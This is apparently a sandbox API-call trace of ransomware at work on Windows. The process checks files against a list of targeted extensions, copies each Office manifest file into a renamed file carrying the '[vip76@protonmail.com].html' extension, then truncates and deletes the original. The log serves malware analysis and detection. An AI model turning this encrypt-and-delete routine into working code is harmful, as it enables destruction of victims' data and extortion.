	[0066.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.574] lstrlenW (lpString=".zip") returned 4
	[0066.574] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.574] lstrlenW (lpString=".rar") returned 4
	[0066.574] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.574] lstrlenW (lpString=".bz2") returned 4
	[0066.574] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.574] lstrlenW (lpString=".7z") returned 3
	[0066.574] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.574] lstrlenW (lpString=".dbf") returned 4
	[0066.574] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.574] lstrlenW (lpString=".1cd") returned 4
	[0066.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.575] lstrlenW (lpString=".jpg") returned 4
	[0066.575] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.575] lstrlenW (lpString=".doc") returned 4
	[0066.575] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.575] lstrlenW (lpString=".docx") returned 5
	[0066.575] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.585] lstrlenW (lpString=".pdf") returned 4
	[0066.585] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.585] lstrlenW (lpString=".xls") returned 4
	[0066.585] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.585] lstrlenW (lpString=".xlsx") returned 5
	[0066.585] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.585] lstrlenW (lpString=".ppt") returned 4
	[0066.585] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.585] lstrlenW (lpString=".zip") returned 4
	[0066.585] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.585] lstrlenW (lpString=".rar") returned 4
	[0066.585] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.585] lstrlenW (lpString=".bz2") returned 4
	[0066.585] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.585] lstrlenW (lpString=".7z") returned 3
	[0066.585] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.585] lstrlenW (lpString=".dbf") returned 4
	[0066.586] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.586] lstrlenW (lpString=".1cd") returned 4
	[0066.586] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0066.586] lstrlenW (lpString=".jpg") returned 4
	[0066.586] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.586] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0066.586] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53
	[0066.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0066.586] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1
	[0066.586] CloseHandle (hObject=0x338) returned 1
	[0066.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0066.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0066.587] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.587] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0066.587] GetLastError () returned 0x0
	[0066.587] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0066.649] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0066.651] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.651] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0066.651] SetEndOfFile (hFile=0x364) returned 1
	[0066.651] CloseHandle (hObject=0x364) returned 1
	[0066.654] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.654] SetEndOfFile (hFile=0x338) returned 1
	[0066.655] CloseHandle (hObject=0x338) returned 1
	[0066.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0066.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1
	[0066.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.656] lstrlenW (lpString=".doc") returned 4
	[0066.656] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.656] lstrlenW (lpString=".docx") returned 5
	[0066.656] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.656] lstrlenW (lpString=".pdf") returned 4
	[0066.656] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.656] lstrlenW (lpString=".xls") returned 4
	[0066.656] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.656] lstrlenW (lpString=".xlsx") returned 5
	[0066.656] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.656] lstrlenW (lpString=".ppt") returned 4
	[0066.656] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.656] lstrlenW (lpString=".zip") returned 4
	[0066.656] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.656] lstrlenW (lpString=".rar") returned 4
	[0066.656] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.656] lstrlenW (lpString=".bz2") returned 4
	[0066.656] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.656] lstrlenW (lpString=".7z") returned 3
	[0066.656] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.656] lstrlenW (lpString=".dbf") returned 4
	[0066.657] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.657] lstrlenW (lpString=".1cd") returned 4
	[0066.657] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.657] lstrlenW (lpString=".jpg") returned 4
	[0066.657] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.657] lstrlenW (lpString=".doc") returned 4
	[0066.657] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.657] lstrlenW (lpString=".docx") returned 5
	[0066.657] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.657] lstrlenW (lpString=".pdf") returned 4
	[0066.657] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.657] lstrlenW (lpString=".xls") returned 4
	[0066.657] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.657] lstrlenW (lpString=".xlsx") returned 5
	[0066.657] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.657] lstrlenW (lpString=".ppt") returned 4
	[0066.657] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.657] lstrlenW (lpString=".zip") returned 4
	[0066.657] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.657] lstrlenW (lpString=".rar") returned 4
	[0066.657] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.657] lstrlenW (lpString=".bz2") returned 4
	[0066.657] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.657] lstrlenW (lpString=".7z") returned 3
	[0066.657] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.658] lstrlenW (lpString=".dbf") returned 4
	[0066.658] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.658] lstrlenW (lpString=".1cd") returned 4
	[0066.658] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104
	[0066.658] lstrlenW (lpString=".jpg") returned 4
	[0066.658] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.658] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0066.658] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53
	[0066.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0066.831] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=253712) returned 1
	[0066.831] CloseHandle (hObject=0x338) returned 1
	[0066.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0066.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0066.831] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.831] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0066.832] GetLastError () returned 0x0
	[0066.832] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x3df10, lpOverlapped=0x0) returned 1
	[0066.941] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x3df20, lpOverlapped=0x0) returned 1
	[0066.946] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.946] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0066.946] SetEndOfFile (hFile=0x364) returned 1
	[0066.946] CloseHandle (hObject=0x364) returned 1
	[0066.952] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.952] SetEndOfFile (hFile=0x338) returned 1
	[0066.954] CloseHandle (hObject=0x338) returned 1
	[0066.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0066.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1
	[0066.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.955] lstrlenW (lpString=".doc") returned 4
	[0066.955] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.955] lstrlenW (lpString=".docx") returned 5
	[0066.955] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.955] lstrlenW (lpString=".pdf") returned 4
	[0066.955] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.955] lstrlenW (lpString=".xls") returned 4
	[0066.955] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.955] lstrlenW (lpString=".xlsx") returned 5
	[0066.955] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.955] lstrlenW (lpString=".ppt") returned 4
	[0066.955] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.956] lstrlenW (lpString=".zip") returned 4
	[0066.956] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.956] lstrlenW (lpString=".rar") returned 4
	[0066.956] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.956] lstrlenW (lpString=".bz2") returned 4
	[0066.956] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.956] lstrlenW (lpString=".7z") returned 3
	[0066.956] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.956] lstrlenW (lpString=".dbf") returned 4
	[0066.956] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.956] lstrlenW (lpString=".1cd") returned 4
	[0066.956] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.956] lstrlenW (lpString=".jpg") returned 4
	[0066.956] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.956] lstrlenW (lpString=".doc") returned 4
	[0066.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.956] lstrlenW (lpString=".docx") returned 5
	[0066.956] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.956] lstrlenW (lpString=".pdf") returned 4
	[0066.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.956] lstrlenW (lpString=".xls") returned 4
	[0066.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.956] lstrlenW (lpString=".xlsx") returned 5
	[0066.956] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.956] lstrlenW (lpString=".ppt") returned 4
	[0066.956] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.957] lstrlenW (lpString=".zip") returned 4
	[0066.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.957] lstrlenW (lpString=".rar") returned 4
	[0066.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.957] lstrlenW (lpString=".bz2") returned 4
	[0066.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.957] lstrlenW (lpString=".7z") returned 3
	[0066.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.957] lstrlenW (lpString=".dbf") returned 4
	[0066.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.957] lstrlenW (lpString=".1cd") returned 4
	[0066.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0066.957] lstrlenW (lpString=".jpg") returned 4
	[0066.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.957] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0066.957] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53
	[0066.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0066.959] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1
	[0066.959] CloseHandle (hObject=0x338) returned 1
	[0066.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0066.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0066.959] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.959] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0066.961] GetLastError () returned 0x0
	[0066.961] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0067.024] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0067.026] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.026] WriteFile (in: hFile=0x364, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.026] SetEndOfFile (hFile=0x364) returned 1
	[0067.027] CloseHandle (hObject=0x364) returned 1
	[0067.029] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
